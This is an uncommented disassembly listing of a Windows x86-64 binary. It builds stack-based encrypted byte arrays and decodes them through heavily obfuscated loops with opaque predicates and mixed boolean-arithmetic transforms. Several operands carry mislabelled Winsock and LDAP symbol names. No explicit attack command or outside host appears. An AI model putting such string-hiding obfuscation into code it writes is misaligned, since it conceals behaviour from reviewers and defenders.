mov byte [rbp + 0x960], 0x9b
mov byte [rbp + 0x961], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x962], 0x90
mov byte [rbp + 0x963], 0xdb
mov byte [rbp + 0x964], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x965], Ordinal_217
mov byte [rbp + 0x966], 0x7b
mov byte [rbp + 0x967], Ordinal_217
mov byte [rbp + 0x968], 0x43
mov byte [rbp + 0x969], Ordinal_211
mov byte [rbp + 0x96a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x96b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x96c], 0x5e
mov byte [rbp + 0x96d], Ordinal_211
mov byte [rbp + 0x96e], 0x5d
mov byte [rbp + 0x96f], Ordinal_211
mov byte [rbp + 0x970], WSASetLastError
mov byte [rbp + 0x971], 0xc9
mov byte [rbp + 0x972], 0x7a
mov byte [rbp + 0x973], 0xcb
mov byte [rbp + 0x974], Ordinal_79
mov byte [rbp + 0x975], Ordinal_200
mov byte [rbp + 0x976], 0x64
mov byte [rbp + 0x977], Ordinal_200
mov byte [rbp + 0x978], 0x54
mov byte [rbp + 0x979], 0xc1
mov byte [rbp + 0x97a], 0x5b
mov byte [rbp + 0x97b], Ordinal_200
mov byte [rbp + 0x97c], 0x9f
mov byte [rbp + 0x97d], 0x3d
mov byte [rbp + 0x97e], 0x9a
mov byte [rbp + 0x97f], 0x3f
mov byte [rbp + 0x980], 0x84
mov byte [rbp + 0x981], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x982], 0xa8
mov byte [rbp + 0x983], Ordinal_60
mov byte [rbp + 0x984], 0xad
mov byte [rbp + 0x985], gethostname
mov byte [rbp + 0x986], 0xb8
mov byte [rbp + 0x987], Ordinal_60
mov byte [rbp + 0x988], 0xad
mov byte [rbp + 0x989], Ordinal_50
mov byte [rbp + 0x98a], 0xa0
mov byte [rbp + 0x98b], gethostname
mov byte [rbp + 0x98c], 0xbf
mov byte [rbp + 0x98d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x98e], 0x78
mov byte [rbp + 0x98f], Ordinal_50
mov byte [rbp + 0x990], Ordinal_143
mov byte [rbp + 0x991], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x992], 0xb3
mov byte [rbp + 0x993], Ordinal_46
mov byte [rbp + 0x994], 0xb2
mov byte [rbp + 0x995], Ordinal_41
mov byte [rbp + 0x996], Ordinal_41
mov byte [rbp + 0x997], Ordinal_41
xor eax, eax
mov qword [rbp + 0x998], rax
mov dword [rbp + 0x9a0], eax
mov word [rbp + 0x9a4], ax
mov byte [rbp + 0x9a6], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x14015c3f5
movzx r8d, byte [rbp + r9 + 0x960]
mov rdx, r8
cmp rdi, r9
ja 0x14015c3ec
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015b968
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x14015b99f
je 0x14015c369
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015c33a
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015c317
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14015c2c9
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14015c3e3
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14015b9d0
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14015ba11
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015c2b8
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015c295
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015c24d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015c227
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015c19a
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x14015be39
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015be25
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14015be03
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015bdf1
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015bdcf
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015bdbb
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14015bd99
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015bd85
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14015c3c1
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14015c39b
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14015bbbf
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14015bb99
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14015bb77
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015bd6e
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14015bce8
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015bcd4
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015bcb2
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015bc9e
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14015bc7c
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14015bc5a
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015bc39
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14015bc17
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14015bc03
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14015bbe1
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14015ba1e
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14015ba1e
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14015ba11
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015b99f
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14015b930
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x14015c2ea
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x14015bf78
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015c335
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015c16a
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14015c357
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14015c35a
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14015c1a9
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14015c1ef
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14015beb5
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x14015c149
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14015c043
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x14015c13c
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14015c2ea
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14015be4b
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14015c1a9
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14015c35a
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14015c236
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x14015c26a
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x14015c2a4
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14015c312
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x14015c2d8
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14015be9d
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x14015c174
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14015bf35
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015bd05
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015becc
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c384
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015bee9
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14015c1a9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015bf14
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14015c35a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015be5a
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14015c2a4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015bf60
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14015c2ea
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015bf8f
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c312
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015bfba
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14015c357
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015bfe5
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14015c1bb
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015c014
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c1ef
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14015bd05
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14015c384
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015c060
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14015beb5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015c07d
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14015c1a9
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015c09a
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14015c236
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015c0c5
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14015c26a
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015c0f0
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14015c335
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015c10d
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14015bf78
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14015bd3c
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015c2ea
mov byte [rbp + r9 + 0x960], bl
jmp 0x14015c393
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x960]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x14015c26a
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x960]
jmp 0x14015c1b6
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x960], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x960], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015c384
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c357
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
jmp 0x14015c357
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c335
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14015c2d8
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
add r10, rsi
jmp 0x14015c335
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x14015c393
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015c393
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x960]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015b91d
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015b91a
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x14015b90a
lea rdx, [rbp + 0x16f1090]
jmp 0x14015c3fc
lea rdx, [rbp + 0x68a3f4]
jmp 0x14015c3fc
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1b8]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2b80]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015c431
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2b80]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2b80]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2b80]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x840], 0xcb
mov byte [rbp + 0x841], Ordinal_143
mov byte [rbp + 0x842], 0xac
mov byte [rbp + 0x843], 0xf3
mov byte [rbp + 0x844], Ordinal_79
mov byte [rbp + 0x845], 0xf1
mov byte [rbp + 0x846], WSACleanup
mov byte [rbp + 0x847], 0xf7
mov byte [rbp + 0x848], 0x55
mov byte [rbp + 0x849], 0xf5
mov byte [rbp + 0x84a], 0xa2
mov byte [rbp + 0x84b], 0xfb
mov byte [rbp + 0x84c], 0x66
mov byte [rbp + 0x84d], 0xf9
mov byte [rbp + 0x84e], 0x55
mov byte [rbp + 0x84f], 0xff
mov byte [rbp + 0x850], 0x59
mov byte [rbp + 0x851], 0xfd
mov byte [rbp + 0x852], WSACleanup
mov byte [rbp + 0x853], 0xe3
mov byte [rbp + 0x854], 0x47
mov byte [rbp + 0x855], 0xe1
mov byte [rbp + 0x856], Ordinal_79
mov byte [rbp + 0x857], 0xe7
mov byte [rbp + 0x858], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x859], 0xe5
mov byte [rbp + 0x85a], 0x42
mov byte [rbp + 0x85b], 0xeb
mov byte [rbp + 0x85c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x85d], 0xe9
mov byte [rbp + 0x85e], r15b
mov byte [rbp + 0x85f], 0xef
mov byte [rbp + 0x860], 0xb8
mov byte [rbp + 0x861], 0xed
mov byte [rbp + 0x862], 0x87
mov byte [rbp + 0x863], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x864], 0x44
mov byte [rbp + 0x865], Ordinal_211
mov byte [rbp + 0x866], r15b
mov byte [rbp + 0x867], Ordinal_217
mov byte [rbp + 0x868], 0x81
mov byte [rbp + 0x869], Ordinal_217
mov byte [rbp + 0x86a], 0x7e
mov byte [rbp + 0x86b], 0xdb
mov byte [rbp + 0x86c], 0x7c
mov byte [rbp + 0x86d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x86e], WSACleanup
mov byte [rbp + 0x86f], 0xdf
mov byte [rbp + 0x870], Ordinal_143
mov byte [rbp + 0x871], 0xdd
mov byte [rbp + 0x872], 0x64
mov byte [rbp + 0x873], Ordinal_200
mov byte [rbp + 0x874], WSAGetLastError
mov byte [rbp + 0x875], 0xc1
mov byte [rbp + 0x876], 0x54
mov byte [rbp + 0x877], Ordinal_200
mov byte [rbp + 0x878], Ordinal_200
mov byte [rbp + 0x879], Ordinal_200
xor eax, eax
mov dword [rbp + 0x87a], eax
mov word [rbp + 0x87e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x14015d203
movzx r8d, byte [rbp + r9 + 0x840]
mov r11, r8
cmp rdi, r9
ja 0x14015d1fa
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015c66f
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x14015c6a9
je 0x14015d16d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015d116
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015d0c0
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015d097
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015d04b
cmp r10, r9
ja 0x14015d1f1
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14015c6da
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14015c70e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015d02c
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015d009
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015cfda
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015cfbc
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015cc88
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14015cc67
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14015cc53
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015cc30
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14015cc1c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015cbf9
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015cbd7
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14015cbc3
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015cba1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015cb7b
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015c71b
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14015d1cb
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14015d1a5
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14015c919
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015c8f3
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14015c8d0
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14015cae2
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14015cad1
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14015ca83
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015ca55
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14015c71b
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015ca41
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14015ca1e
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015c9fc
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14015c9d6
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015c9b4
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015c993
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14015c971
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015c94f
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14015c93b
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14015c71b
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x14015c71b
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14015c70e
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c6a9
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14015c638
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14015d05a
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14015d092
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14015d0b8
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015cf5a
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14015cf89
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015cff7
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14015d0e0
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14015d13a
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14015cb8a
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x840], bl
jmp 0x14015d19d
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x14015ca76
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14015d06c
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14015cb2d
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x14015cf8e
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14015cd87
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x14015cf39
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14015ce66
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x14015caa0
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d18e
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14015d13a
